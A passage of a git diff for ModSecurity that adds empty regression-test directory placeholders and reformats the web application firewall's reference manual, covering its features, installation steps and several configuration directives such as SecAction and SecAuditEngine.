zFsNCC=^`7%;T8W#U803b$NRz)^NXaDu|FBg_NDk$|R)n~>c1 zw@VYOF0aW2tv8t!Y~VF6F7tXHxx-E7AnZ#oYx#Nj6J$4sLzi;@PUR$zAt}@iIm{l_ z!K=MOG2+_(x*B@FAzt9Fxzu{^`I=yAHf72mLY#K5;-Qa}MY`wt@fU8zp7CWA+%Y)@ zB2z?Rz0lM0!()gHMnSePA1|A-H+{R$;0 zN2NGOnx%s}wdiw9f|E}P^j|N}5Aw~5`-W(Hc%|;LE~Gx&=&$Zv?@i`k7d@qe+%k88@vR4DJ0CMWe}3R_ZZRpWnfg*X|84JU$7wSZ?o+AE<=F%71sdzi6UG&nn zP^`Orb268}Nz&bGm1b{|YB69ee0$S|U%jC&+_*m@L)B2=O*a@F)~k_5gqJVOxP>YRGea$!tQj zAl+Iq?&+L%U};K;zV<)kYt^&>5Pb|W&J$u5=%os9>GP`MOy9h0ZQ|6G_wR~BjJnS;OF_U(!Wj1)ZZ18Sp)KMep25W-#djJhg{A4_z{Mhk4hDp4@{r(PI1u)A zM9ReI5XanvN?`yNF6)|l9Ed!~7-7A`#B`0-(_XeT1$v+hW|ZE(hm23kVvIK6sc>{P zEksr4z*s?#gDJ>M4?hmacS8#EhHZ5ST1Ag>_RaI~Fr=J6*l9_Dw?nhqE)cw!Zc^Sf zvWPi`zmW;f)yL;RZ8wP$eavMYiQ>y(APZ!hr}mVqiO15 zh<4o@S|t}EwY_yprfC{sfn8(4D5eRGZX1VWOOts>`dRcGPitD8yj9B=92Iv4PobFu z4^~Th_#Pm?X#{nmYe+=7ICK-#BJGVS!a+bIs3Tr$LCZ=|*fh(BMI;*{I%T9kZkS-A zYg!T)O*1Ic*b&^LiT2oQ5$Rx`b&S7vgL#4|H4+gC$1Spe-d4uV!6AVo0L8U}NrFH# zXt+Idh=z6wM+4IuCnvpgcS z8xlh);y2C;?h)}`noLBn_yru*G2&2xcn@o5oxL}0DqK?IBMfGw#RtcWSYm#kz94|F zA>Tl78 z?xkwu#l&j#e zW1+qC5S~e}R5!tzlULBQiV`ql-xDwwJa*u@p}dWhBgm+%FyWRRWyY@To1EiF?jJ2@_1K3@o!#ed9EEr=pm4QGT}^Jc>z{$}BE~7#!_fN$%uHgqeRygs zxSp_^o0`&=GKMmQ*0NbEds#`@NZrmne0q5~c?NnwC4KdF8IIZ`!;95`@b9)MS1A>G zoTUOkIPNiYuP?H8h{GSY@zncfOc04gg>qrjmYbHt{e7Q<`ERXHjBd4VdAgNv@t&57 za2e9{D|EeTosI?&+OCcFW}{Q&f$Gd1nyvrq;KBcLU^J+h^xy(e)TO!Fj(ZKyQx4W}N5OpP)(y>^cW9y|FHTDImGt2?LU~!NU@h~cgBCH~arADZ=;Q>>yBVBdk+DK^NORxYj z+miyNu9U(PiW3~u;Lhe6cXGj9?`3|ASEgZSvOm=GU&y*hM=6B?$>*V24gMcWHcESoHjC#EOClfh~N*5H@E0^0Z^gUAL> zZcfm?9(T*PtQ^Xm0 zS{IUIG2oNj63;j;jR7d&6Jj@b4d9Mv`0G3k*;g1I(PR4n7l=&&T`j*zY-slnJGZgI zF$gIxhkjDpa_`JjSY_CyR|;NF(9>kvE`o7Hd@+1$*mRhM^%sYb6N-3O?qt*Y1=Q?IL{ zDwHQsqCj7qLX*5*XsYcb=A_~zMZQl-l^9T{Hp>(#H%Nt<7>vRDAcr$o8ACsmQlUOV zC!Y)sDp#>d*bctot`poXM~b%s&j-TWqdcfkD7aIj{fT(FWqXg4LF08ku67%K`2x-d6z8xh%YgOCKqod1&8ujbMb&^kGEjZuU zyS9Ew?KyYYxS5BEc`P{Jx17|#*XL%eTvD%`qTIdGtbF*clzNQ{#L>(v`?_nYXs4C( z?UilcQBx7O5Eg75+%Vy9a3&Uk5*ZgzwC;jz+z4Db&&3H~24lT`M1g0G*AC%Q@egQ1 zk7-~>T+z~eHc8^#W4b9PJ8=Ui0y8u^8OnWOm76e$n|q`zq_Omk7V(c?z@$g)wh_jF z;+}J8#{cQSUIuvx5dje~Gj>9KjRF>fQVI<~_{|d#v4*rr?S^?p+(KePVj>9cTDl%o zS7-P%T{PBkqb&v9lsgzVeNB>i_RW&`194!3+OIf`(ylH!-#L0$a6k+q7Z+z|(zk_x zI{g=kj>1!FEmFodm*@-);iC=&I(%Lrxt7{YxkXHhg$BGr7?0CGqp`968if530~a7 zJ0XcIs{+SN7n}lBv@`4cC&v+42f+xGYKzgVK7tnb)+N4;bfpX5Sm9S@Hq_-KG-}gg z1;T`+eM?R83=Imx2~g7Qu_4w7=A>$B*P_q|oLHgW%#kO?E^nBHX7s2(h}BsFrk;DW z=!=DWpeZajA<#qXi{%(9v8u;TA!vo2DmZK>n+`_Uk{3x#5rQc=r%vDuzs6@sQHQia zoT21Vq;k=z+P5Cmg*lp(dMq%7#x>1S;X%RS?vbjgzDQEX=&WdDfimA~3LaWCNK${F z*XD&#E#Ne)@++OZBDotcJi897C+5LzbTq8YM1d-CdnQ0SGyYbFTMn4UoSG`%p`w^c z!zs%S;>%D^rB)rmV#`n<#~i`KPXs0A2s_Rhz$I85ePoW7q0etgC8HDX(htXDH0gFv z#J6Fe`|d}l_$yP{d3Dw_rQK65Q#-A~jhhBkX<#87b74!YB*$iu-CI&gjFkLo&4N<6 z$rH;+*Jr0vD$&4sr;?bsg_n0NI@7ylcj(xNIBJZWX5h96Cb_X=QmI%c@yuYsBcV`7 z=HO*8$f&2f4(~G2owM5hqfq8z0waYCeRTnEYu2;EfwCDPrlpm@sD$joj31W4gpIYf z^skE_pNXAKhX*ABk$xn`#1o5hiG|tR!%^vc80l89{qQ;5mMip$hn>F=O zT%>#(Htv@vE&!UZLy`Q40(d#aju#w;&=ANJkeO32dd2=XnA(p(v>l3`jq964Qu)&+ z?ohC{B=2Tag2Wv`BKMYa?%wK>efPU-ltckMxz|AwD}~!-!q&c?^=OW}#Qofk3zlED zR@TBl3E?;uVIX^`y=!WBhQ-?nGI7Tnz3r;P^lj;k<*>V z?U@;rk_F=C4jYp;8}wD?RiRbz)g3N)%a;6?Qjt^e)g0RsT1`yF?&8vfNnQlr=LBP8 z4n-k2>Ilf+bFI>A$fq}4^N7XzNHi|MQLq}wWXK9wv;zO&Yqfw4@MmO^kgD)&lmJ+; z*m#14F|RL3TW>#2hkt=0hSYH@EUc^WLbx;(&Z*uQKlot%@V%*X9PGhVuQgx4FVX%Z zY4CM1m_7J2`eqkczYV^Q6fEgpWfMj0wjI(*l7WwGJms0<^oDhn(G`5V=Tm51veWFPK-l6^jT zI)H#u_I553AZHUNO9vPGH#XDTP|?U11QZi}e;7Vl+Jc-FLGCK{wnlbJsvkZfyc3?x zodFzgoi|-EF?$akCQdFM024b47l4h0jT^wq!osBolyxz(u{062Gq(W&SP+1s&L$u` z7XS}0D+2I6-ur-wjg<=lC~o8+1F|%?aQVv+0jTN%vQ-E0yxF`5cwbBi-#J-qJly{WBTFw~!Y%}W6?!KCJ$7VF&c`Pl$(q5(9vS^w*o2zv&`605 zx82(e)cs~V3%%RE?p);{^J{;W_9#)K+!HYtMFk$QUY`+mrH>X{mYtr`{SLuh$Tf^| zeYL7SxKufqSw8Xm!}`gI9JhI%w+CP(8r!gl;Ap?V&UcM@(5DA#R9UJl3IXpqt9Vkt z9h35Kg{!x@NT+%IlE%XTc^c`MgCx`%y#9!1N%6CY+#tR7x*aw+)$7fyfc9gczuSVm zDiBmL%rJ$2`HJU(`}U?qTId7dt4^RZ!#-~Nmf4~M9#L)d`^P%ynxg?Y*hit z14b)~&*wjF+mdHAC>jVEetlQ&i#;2kU~2>*hfw^09}^hvP--V^=zdDefKf6MI+n187Nm7MHNR6#B} zz&Dm4@Ds?xMepC-{?qEO(kL03gMdm#PVZ3Xcy|C)0Xf^dI+=i+0j%#KRDd5qrj|zU zN9a8O7b_cpo0m-wDD7nL>hMN4RDCP6k)5-{y9*Ofpt$PW$#JtZ0jWrf0c8O$Z(ATF z1QdT;;9CS|z&lUzU(d*U$oKRA=I9^GaYp!WYe4wtBHj$%Hi4HDz{A1zURZfcQ)eB( zUn_kdirc%s*WzCb`7hkazha0Ry`6e{^S7+c-;(?*X$0U$2auhpiHoJZozCBU0X4O> z0d}r7Hh+6zdGoDcWM@tbvSU(HrTe#%{uf{IEeY{AX64%zB_Jg!CB?$R$<4yT&GvTF z@V>PiZ|xg+xY>jd-uKAV)dcikdK_=MZ>oRIb4jwWypOrK{{H`F%f4?oUBYN+%zmKG<5$`8xJRt z83GI74d!p2{{8^CI62ul0cL=|$yhnqdEaj7_XlA2ciCH?^$n2!A!B2EtL4ARSUEV^ z{|7ye|E9;z$@+GC{<|$ZC;Qte`41WQ+sgh!#=*k-wqyUU$HC6>pK;&v;P~%)T}t+EryGe(c9(j^bSx}OE1t{semf>_HPLL3&{vTSvxa(0PA05+qZ!PKnEbeDE!6hmx z!Og=hDkUx|Df+hMtP)&2;-V}P;#?A}JW}s~bapXva`|gZSvh#w*bu0wBtJ?a{6Avz B`Q`us literal 0 HcmV?d00001 diff --git a/apache2/t/regression/server_root/logs/audit/.empty b/apache2/t/regression/server_root/logs/audit/.empty new file mode 100644 index 00000000..e69de29b diff --git a/apache2/t/regression/server_root/logs/subdir/.empty b/apache2/t/regression/server_root/logs/subdir/.empty new file mode 100644 index 00000000..e69de29b diff --git a/apache2/t/regression/server_root/tmp/.empty b/apache2/t/regression/server_root/tmp/.empty new file mode 100644 index 00000000..e69de29b diff --git a/apache2/t/regression/server_root/upload/.empty b/apache2/t/regression/server_root/upload/.empty new file mode 100644 index 00000000..e69de29b diff --git a/doc/modsecurity2-apache-reference.xml b/doc/modsecurity2-apache-reference.xml index 76cda13a..a3bf4940 100644 --- a/doc/modsecurity2-apache-reference.xml +++ b/doc/modsecurity2-apache-reference.xml @@ -2,845 +2,1338 @@
- <trademark class="registered">ModSecurity</trademark> Reference Manual + <trademark class="registered">ModSecurity</trademark> Reference + Manual + - Version 2.6.0-trunk (September 5, 2008) + Version 2.6.0-trunk (March 5, 2009) + 2004-2008 - Breach Security, Inc. (http://www.breach.com) + + Breach Security, Inc. (http://www.breach.com) +
Introduction - ModSecurity is a web application firewall (WAF). With over 70% of attacks now carried out - over the web application level, organisations need all the help they can get in making their - systems secure. WAFs are deployed to establish an increased external security layer to detect - and/or prevent attacks before they reach web applications. ModSecurity provides protection - from a range of attacks against web applications and allows for HTTP traffic monitoring and - real-time analysis with little or no changes to existing infrastructure. + + ModSecurity is a web application firewall (WAF). With over 70% of + attacks now carried out over the web application level, organisations need + all the help they can get in making their systems secure. WAFs are + deployed to establish an increased external security layer to detect + and/or prevent attacks before they reach web applications. ModSecurity + provides protection from a range of attacks against web applications and + allows for HTTP traffic monitoring and real-time analysis with little or + no changes to existing infrastructure. +
HTTP Traffic Logging - Web servers are typically well-equipped to log traffic in a form useful for marketing - analyses, but fall short logging traffic to web applications. In particular, most are not - capable of logging the request bodies. Your adversaries know this, and that is why most - attacks are now carried out via POST requests, rendering your systems blind. ModSecurity - makes full HTTP transaction logging possible, allowing complete requests and responses to be - logged. Its logging facilities also allow fine-grained decisions to be made about exactly - what is logged and when, ensuring only the relevant data is recorded. As some of the request - and/or response may contain sensitive data in certain fields, ModSecurity can be configured - to mask these fields before they are written to the audit log. + + Web servers are typically well-equipped to log traffic in a form + useful for marketing analyses, but fall short logging traffic to web + applications. In particular, most are not capable of logging the request + bodies. Your adversaries know this, and that is why most attacks are now + carried out via POST requests, rendering your systems blind. ModSecurity + makes full HTTP transaction logging possible, allowing complete requests + and responses to be logged. Its logging facilities also allow + fine-grained decisions to be made about exactly what is logged and when, + ensuring only the relevant data is recorded. As some of the request + and/or response may contain sensitive data in certain fields, + ModSecurity can be configured to mask these fields before they are + written to the audit log.
+
Real-Time Monitoring and Attack Detection - In addition to providing logging facilities, ModSecurity can monitor the HTTP traffic in - real time in order to detect attacks. In this case, ModSecurity operates as a web intrusion - detection tool, allowing you to react to suspicious events that take place at your web - systems. + + In addition to providing logging facilities, ModSecurity can + monitor the HTTP traffic in real time in order to detect attacks. In + this case, ModSecurity operates as a web intrusion detection tool, + allowing you to react to suspicious events that take place at your web + systems.
+
Attack Prevention and Just-in-time Patching - ModSecurity can also act immediately to prevent attacks from reaching your web - applications. There are three commonly used approaches: + + ModSecurity can also act immediately to prevent attacks from + reaching your web applications. There are three commonly used + approaches: + - Negative security model. A negative security model monitors requests for anomalies, - unusual behaviour, and common web application attacks. It keeps anomaly scores for each - request, IP addresses, application sessions, and user accounts. Requests with high - anomaly scores are either logged or rejected altogether. + Negative security model. A negative security model monitors + requests for anomalies, unusual behaviour, and common web + application attacks. It keeps anomaly scores for each request, IP + addresses, application sessions, and user accounts. Requests with + high anomaly scores are either logged or rejected altogether. + - Positive security model. When a positive security model is deployed, only requests - that are known to be valid are accepted, with everything else rejected. This model - requires knownledge of the web applications you are protecting. Therefore a positive - security model works best with applications that are heavily used but rarely updated so - that maintenance of the model is minimized. + Positive security model. When a positive security model is + deployed, only requests that are known to be valid are accepted, + with everything else rejected. This model requires knownledge of the + web applications you are protecting. Therefore a positive security + model works best with applications that are heavily used but rarely + updated so that maintenance of the model is minimized. + - Known weaknesses and vulnerabilities. Its rule language makes ModSecurity an ideal - external patching tool. External patching (sometimes referred to as Virtual Patching) is - about reducing the window of opportunity. Time needed to patch application - vulnerabilities often runs to weeks in many organisations. With ModSecurity, - applications can be patched from the outside, without touching the application source - code (and even without any access to it), making your systems secure until a proper - patch is applied to the application. + Known weaknesses and vulnerabilities. Its rule language makes + ModSecurity an ideal external patching tool. External patching + (sometimes referred to as Virtual Patching) is about reducing the + window of opportunity. Time needed to patch application + vulnerabilities often runs to weeks in many organisations. With + ModSecurity, applications can be patched from the outside, without + touching the application source code (and even without any access to + it), making your systems secure until a proper patch is applied to + the application.
+
Flexible Rule Engine - A flexible rule engine sits in the heart of ModSecurity. It implements the ModSecurity - Rule Language, which is a specialised programming language designed to work with HTTP - transaction data. The ModSecurity Rule Language is designed to be easy to use, yet flexible: - common operations are simple while complex operations are possible. Certified ModSecurity - Rules, included with ModSecurity, contain a comprehensive set of rules that implement - general-purpose hardening, protocol validation and detection of common web application - security issues. Heavily commented, these rules can be used as a learning tool. + + A flexible rule engine sits in the heart of ModSecurity. It + implements the ModSecurity Rule Language, which is a specialised + programming language designed to work with HTTP transaction data. The + ModSecurity Rule Language is designed to be easy to use, yet flexible: + common operations are simple while complex operations are possible. + Certified ModSecurity Rules, included with ModSecurity, contain a + comprehensive set of rules that implement general-purpose hardening, + protocol validation and detection of common web application security + issues. Heavily commented, these rules can be used as a learning + tool.
+
Embedded-mode Deployment - ModSecurity is an embeddable web application firewall, which means it can be deployed as - part of your existing web server infrastructure provided your web servers are Apache-based. - This deployment method has certain advantages: + + ModSecurity is an embeddable web application firewall, which means + it can be deployed as part of your existing web server infrastructure + provided your web servers are Apache-based. This deployment method has + certain advantages: + - No changes to existing network. It only takes a few minutes to add ModSecurity to - your existing web servers. And because it was designed to be completely passive by - default, you are free to deploy it incrementally and only use the features you need. It - is equally easy to remove or deactivate it if required. + No changes to existing network. It only takes a few minutes to + add ModSecurity to your existing web servers. And because it was + designed to be completely passive by default, you are free to deploy + it incrementally and only use the features you need. It is equally + easy to remove or deactivate it if required. + - No single point of failure. Unlike with network-based deployments, you will not be - introducing a new point of failure to your system. + No single point of failure. Unlike with network-based + deployments, you will not be introducing a new point of failure to + your system. + - Implicit load balancing and scaling. Because it works embedded in web servers, - ModSecurity will automatically take advantage of the additional load balancing and - scalability features. You will not need to think of load balancing and scaling unless - your existing system needs them. + Implicit load balancing and scaling. Because it works embedded + in web servers, ModSecurity will automatically take advantage of the + additional load balancing and scalability features. You will not + need to think of load balancing and scaling unless your existing + system needs them. + - Minimal overhead. Because it works from inside the web server process there is no - overhead for network communication and minimal overhead in parsing and data - exchange. + Minimal overhead. Because it works from inside the web server + process there is no overhead for network communication and minimal + overhead in parsing and data exchange. + - No problem with encrypted or compressed content. Many IDS systems have difficulties - analysing SSL traffic. This is not a problem for ModSecurity because it is positioned to - work when the traffic is decrypted and decompressed. + No problem with encrypted or compressed content. Many IDS + systems have difficulties analysing SSL traffic. This is not a + problem for ModSecurity because it is positioned to work when the + traffic is decrypted and decompressed.
+
Network-based Deployment - ModSecurity works equally well when deployed as part of an Apache-based reverse proxy - server, and many of our customers choose to do so. In this scenario, one installation of - ModSecurity can protect any number of web servers (even the non-Apache ones). + + ModSecurity works equally well when deployed as part of an + Apache-based reverse proxy server, and many of our customers choose to + do so. In this scenario, one installation of ModSecurity can protect any + number of web servers (even the non-Apache ones).
+
Portability - ModSecurity is known to work well on a wide range of operating systems. Our customers - are successfully running it on Linux, Windows, Solaris, FreeBSD, OpenBSD, NetBSD, AIX, Mac - OS X, and HP-UX. + + ModSecurity is known to work well on a wide range of operating + systems. Our customers are successfully running it on Linux, Windows, + Solaris, FreeBSD, OpenBSD, NetBSD, AIX, Mac OS X, and HP-UX.
+
Licensing - ModSecurity is available under two licenses. Users can choose to use the software under - the terms of the GNU General Public License version 2 (licence text is included with the - distribution), as an Open Source / Free Software product. A range of commercial licenses is - also available, together with a range of commercial support contracts. For more information - on commercial licensing please contact Breach Security. + + ModSecurity is available under two licenses. Users can choose to + use the software under the terms of the GNU General Public License + version 2 (licence text is included with the distribution), as an Open + Source / Free Software product. A range of commercial licenses is also + available, together with a range of commercial support contracts. For + more information on commercial licensing please contact Breach + Security. + - ModSecurity, mod_security, ModSecurity Pro, and ModSecurity Core Rules are trademarks - or registered trademarks of Breach Security, Inc. + ModSecurity, mod_security, ModSecurity Pro, and ModSecurity Core + Rules are trademarks or registered trademarks of Breach Security, + Inc.
+
<trademark>ModSecurity Core Rules</trademark> +
Overview - ModSecurity is a web application firewall engine that provides very little protection on - its own. In order to become useful, ModSecurity must be configured with rules. In order to - enable users to take full advantage of ModSecurity out of the box, Breach Security, Inc. is - providing a free certified rule set for ModSecurity 2.x. Unlike intrusion detection and - prevention systems, which rely on signatures specific to known vulnerabilities, the Core - Rules provide generic protection from unknown vulnerabilities often found in web - applications, which are in most cases custom coded. The Core Rules are heavily commented to - allow it to be used as a step-by-step deployment guide for ModSecurity. The latest Core - Rules can be found at the ModSecurity website - http://www.modsecurity.org/projects/rules/. + + ModSecurity is a web application firewall engine that provides + very little protection on its own. In order to become useful, + ModSecurity must be configured with rules. In order to enable users to + take full advantage of ModSecurity out of the box, Breach Security, Inc. + is providing a free certified rule set for ModSecurity 2.x. Unlike + intrusion detection and prevention systems, which rely on signatures + specific to known vulnerabilities, the Core Rules provide generic + protection from unknown vulnerabilities often found in web applications, + which are in most cases custom coded. The Core Rules are heavily + commented to allow it to be used as a step-by-step deployment guide for + ModSecurity. The latest Core Rules can be found at the ModSecurity + website - http://www.modsecurity.org/projects/rules/.
+
Core Rules Content - In order to provide generic web applications protection, the Core Rules use the - following techniques: + + In order to provide generic web applications protection, the Core + Rules use the following techniques: + - HTTP protection - detecting violations of the HTTP protocol and a locally defined - usage policy. + HTTP protection - detecting violations of the HTTP protocol + and a locally defined usage policy. + - Common Web Attacks Protection - detecting common web application security - attack. + Common Web Attacks Protection - detecting common web + application security attack. + - Automation detection - Detecting bots, crawlers, scanners and other surface - malicious activity. + Automation detection - Detecting bots, crawlers, scanners and + other surface malicious activity. + Trojan Protection - Detecting access to Trojans horses. + - Error Hiding - Disguising error messages sent by the server. + Error Hiding - Disguising error messages sent by the + server.
+
Installation + ModSecurity installation consists of the following steps: + ModSecurity 2.x works with Apache 2.0.x or better. + - Make sure you have mod_unique_id installed. + Make sure you have mod_unique_id installed. + mod_unique_id is packaged with Apache httpd. + - Install the latest version of libxml2, if it isn't already installed on the - server. - http://xmlsoft.org/downloads.html + Install the latest version of libxml2, if it isn't already + installed on the server. + + http://xmlsoft.org/downloads.html + - Optionally install the latest version of Lua in the 5.1.x branch, if it isn't already - installed on the server and you will be using the new Lua engine. - http://www.lua.org/download.html - Note that ModSecurity requires the dynamic libraries. These are not built by default - in the source distribution, so the binary distribution is recommended. + Optionally install the latest version of Lua in the 5.1.x + branch, if it isn't already installed on the server and you will be + using the new Lua engine. + + http://www.lua.org/download.html + + Note that ModSecurity requires the dynamic libraries. These are + not built by default in the source distribution, so the binary + distribution is recommended. + Stop Apache httpd + Unpack the ModSecurity archive + - Building differs for UNIX (or UNIX-like) operating systems and Windows. + Building differs for UNIX (or UNIX-like) operating systems and + Windows. + UNIX + - Run the configure script to generate a Makefile. Typically no options are - needed. + Run the configure script to generate a Makefile. + Typically no options are needed. + ./configure - Options are available for more customization (use ./configure - --help for a full list), but typically you will only need to specify - the location of the apxs command installed by Apache httpd with - the --with-apxs option. + + Options are available for more customization (use + ./configure --help for a full list), but + typically you will only need to specify the location of the + apxs command installed by Apache httpd with + the --with-apxs option. + ./configure - --with-apxs=/path/to/httpd-2.x.y/bin/apxs + --with-apxs=/path/to/httpd-2.x.y/bin/apxs + - There are certain configure options that are meant for debugging an other - development use. If enabled, these options can substantially impact performance. - These options include all --debug-* options as well as the - --enable-performance-measurements options. + There are certain configure options that are meant for + debugging an other development use. If enabled, these + options can substantially impact performance. These options + include all --debug-* options as well as + the --enable-performance-measurements + options. + Compile with: make + - Optionally test with: make test + Optionally test with: make + test + - This is step is still a bit experimental. If you have problems, please send - the full output and error from the build to the support list. Most common issues - are related to not finding the required headers and/or libraries. + This is step is still a bit experimental. If you have + problems, please send the full output and error from the + build to the support list. Most common issues are related to + not finding the required headers and/or libraries. + - Optionally build the ModSecurity Log Collector with: make - mlogc + Optionally build the ModSecurity Log Collector with: + make mlogc + - Optionally install mlogc: Review the INSTALL file included in the apache2/mlogc-src directory in the - distribution. + Optionally install mlogc: Review the + INSTALL file included in the + apache2/mlogc-src directory in the distribution. + - Install the ModSecurity module with: make install + Install the ModSecurity module with: make + install + Windows (MS VC++ 8) + - Edit Makefile.win to configure the Apache base and library - paths. + Edit Makefile.win to configure the + Apache base and library paths. + - Compile with: nmake -f Makefile.win + Compile with: nmake -f + Makefile.win + - Install the ModSecurity module with: nmake -f Makefile.win - install + Install the ModSecurity module with: nmake -f + Makefile.win install + - Copy the libxml2.dll and lua5.1.dll to - the Apache bin directory. Alternatively you can follow the step - below for using LoadFile to load these libraries. + Copy the libxml2.dll and + lua5.1.dll to the Apache + bin directory. Alternatively you can follow + the step below for using LoadFile to load these + libraries. + - Edit the main Apache httpd config file (usually httpd.conf) - On UNIX (and Windows if you did not copy the DLLs as stated above) you must load - libxml2 and lua5.1 before ModSecurity with something like this: - - LoadFile /usr/lib/libxml2.so -LoadFile /usr/lib/liblua5.1.so - - Load the ModSecurity module - with:LoadModule security2_module modules/mod_security2.so + Edit the main Apache httpd config file (usually + httpd.conf) + + On UNIX (and Windows if you did not copy the DLLs as stated + above) you must load libxml2 and lua5.1 before ModSecurity with + something like this: + + LoadFile /usr/lib/libxml2.so +LoadFile /usr/lib/liblua5.1.so + + Load the ModSecurity module with:LoadModule security2_module modules/mod_security2.so + Configure ModSecurity + Start Apache httpd + You should now have ModSecurity 2.x up and running. + - If you have compiled Apache yourself you might experience problems compiling ModSecurity - against PCRE. This is because Apache bundles PCRE but this library is also typically - provided by the operating system. I would expect most (all) vendor-packaged Apache - distributions to be configured to use an external PCRE library (so this should not be a - problem). - You want to avoid Apache using the bundled PCRE library and ModSecurity linking against - the one provided by the operating system. The easiest way to do this is to compile Apache - against the PCRE library provided by the operating system (or you can compile it against the - latest PCRE version you downloaded from the main PCRE distribution site). You can do this at - configure time using the --with-pcre switch. If you are - not in a position to recompile Apache, then, to compile ModSecurity successfully, you'd - still need to have access to the bundled PCRE headers (they are available only in the Apache - source code) and change the include path for ModSecurity (as you did in step 7 above) to - point to them (via the --with-pcre ModSecurity configure option). - Do note that if your Apache is using an external PCRE library you can compile - ModSecurity with WITH_PCRE_STUDY defined,which would - possibly give you a slight performance edge in regular expression processing. + If you have compiled Apache yourself you might experience problems + compiling ModSecurity against PCRE. This is because Apache bundles PCRE + but this library is also typically provided by the operating system. I + would expect most (all) vendor-packaged Apache distributions to be + configured to use an external PCRE library (so this should not be a + problem). + + You want to avoid Apache using the bundled PCRE library and + ModSecurity linking against the one provided by the operating system. + The easiest way to do this is to compile Apache against the PCRE library + provided by the operating system (or you can compile it against the + latest PCRE version you downloaded from the main PCRE distribution + site). You can do this at configure time using the --with-pcre switch. If you are not in a + position to recompile Apache, then, to compile ModSecurity successfully, + you'd still need to have access to the bundled PCRE headers (they are + available only in the Apache source code) and change the include path + for ModSecurity (as you did in step 7 above) to point to them (via the + --with-pcre ModSecurity configure option). + + Do note that if your Apache is using an external PCRE library you + can compile ModSecurity with WITH_PCRE_STUDY defined,which would possibly + give you a slight performance edge in regular expression + processing.
+
Configuration Directives - The following section outlines all of the ModSecurity directives. Most of the ModSecurity - directives can be used inside the various Apache Scope Directives such as VirtualHost, Location, LocationMatch, - Directory, etc... There are others, however, that can only be used once - in the main configuration file. This information is specified in the Scope sections below. The - first version to use a given directive is given in the Version sections below. - These rules, along with the Core rules files, should be contained is files outside of the - httpd.conf file and called up with Apache "Include" directives. This allows for easier - updating/migration of the rules. If you create your own custom rules that you would like to - use with the Core rules, you should create a file called - modsecurity_crs_15_customrules.conf and place it in the same directory as the - Core rules files. By using this file name, your custom rules will be called up after the - standard ModSecurity Core rules configuration file but before the other Core rules. This - allows your rules to be evaluated first which can be useful if you need to implement specific - "allow" rules or to correct any false positives in the Core rules as they are applied to your - site. + + The following section outlines all of the ModSecurity directives. + Most of the ModSecurity directives can be used inside the various Apache + Scope Directives such as VirtualHost, + Location, LocationMatch, + Directory, etc... There are others, however, that can + only be used once in the main configuration file. This information is + specified in the Scope sections below. The first version to use a given + directive is given in the Version sections below. + + These rules, along with the Core rules files, should be contained is + files outside of the httpd.conf file and called up with Apache "Include" + directives. This allows for easier updating/migration of the rules. If you + create your own custom rules that you would like to use with the Core + rules, you should create a file called - + modsecurity_crs_15_customrules.conf and place it in + the same directory as the Core rules files. By using this file name, your + custom rules will be called up after the standard ModSecurity Core rules + configuration file but before the other Core rules. This allows your rules + to be evaluated first which can be useful if you need to implement + specific "allow" rules or to correct any false positives in the Core rules + as they are applied to your site. + - It is highly encouraged that you do not edit the Core rules files themselves but rather - place all changes (such as SecRuleRemoveByID, etc...) in your custom - rules file. This will allow for easier upgrading as newer Core rules are released by Breach - Security on the ModSecurity website. + It is highly encouraged that you do not edit the Core rules files + themselves but rather place all changes (such as + SecRuleRemoveByID, etc...) in your custom rules file. + This will allow for easier upgrading as newer Core rules are released by + Breach Security on the ModSecurity website. +
<literal>SecAction</literal> - Description: Unconditionally processes the action list it receives - as the first and only parameter. It accepts one parameter, the syntax of which is identical - to the third parameter of SecRule. - Syntax: - SecAction action1,action2,action3 - Example Usage: - SecAction - nolog,initcol:RESOURCE=%{REQUEST_FILENAME} + + Description: Unconditionally processes the + action list it receives as the first and only parameter. It accepts one + parameter, the syntax of which is identical to the third parameter + of SecRule. + + Syntax: SecAction + action1,action2,action3 + + Example Usage: SecAction + nolog,initcol:RESOURCE=%{REQUEST_FILENAME} + Processing Phase: Any + Scope: Any + Version: 2.0.0 + Dependencies/Notes: None - SecAction is best used when you unconditionally execute an action. This is explicit - triggering whereas the normal Actions are conditional based on data inspection of the - request/response. This is a useful directive when you want to run certain actions such as - initcol to initialize collections. + + SecAction is best used when you unconditionally execute an action. + This is explicit triggering whereas the normal Actions are conditional + based on data inspection of the request/response. This is a useful + directive when you want to run certain actions such as + initcol to initialize collections.
+
<literal>SecArgumentSeparator</literal> - Description: Specifies which character to use as separator - for application/x-www-form-urlencoded content. Defaults - to &. Applications are sometimes (very rarely) - written to use a semicolon (;). - Syntax: - SecArgumentSeparator character - Example Usage: - SecArgumentSeparator ; + + Description: Specifies which character to use + as separator for + application/x-www-form-urlencoded content. Defaults to + &. Applications are sometimes + (very rarely) written to use a semicolon (;). + + Syntax: SecArgumentSeparator character + + Example Usage: SecArgumentSeparator ; + Processing Phase: Any + Scope: Main + Version: 2.0.0 + Dependencies/Notes: None - This directive is needed if a backend web application is using a non-standard argument - separator. If this directive is not set properly for each web application, then ModSecurity - will not be able to parse the arguments appropriately and the effectiveness of the rule - matching will be significantly decreased. + + This directive is needed if a backend web application is using a + non-standard argument separator. If this directive is not set properly + for each web application, then ModSecurity will not be able to parse the + arguments appropriately and the effectiveness of the rule matching will + be significantly decreased.
+
<literal>SecAuditEngine</literal> - Description: Configures the audit logging engine. - Syntax: - SecAuditEngine On|Off|RelevantOnly - Example Usage: - SecAuditEngine On + + Description: Configures the audit logging + engine. + + Syntax: SecAuditEngine On|Off|RelevantOnly + + Example Usage: SecAuditEngine On + Processing Phase: N/A + Scope: Any + Version: 2.0.0 - Dependencies/Notes: Can be set/changed with the "ctl" action for the current transaction. - Example: The following example shows the various audit directives used together. + + Dependencies/Notes: Can be set/changed with + the "ctl" action for the current transaction. + + Example: The following example shows the various audit directives + used together. + SecAuditEngine RelevantOnly SecAuditLog logs/audit/audit.log SecAuditLogParts ABCFHZ SecAuditLogType concurrent SecAuditLogStorageDir logs/audit SecAuditLogRelevantStatus ^(?:5|4\d[^4]) + Possible values are: + - On - log all transactions by default. + On - log all transactions + by default. + - Off - do not log transactions by default. + Off - do not log + transactions by default. + - RelevantOnly - by default only log transactions - that have triggered a warning or an error, or have a status code that is considered to - be relevant (see SecAuditLogRelevantStatus). + RelevantOnly - by default + only log transactions that have triggered a warning or an error, or + have a status code that is considered to be relevant (see SecAuditLogRelevantStatus).
+
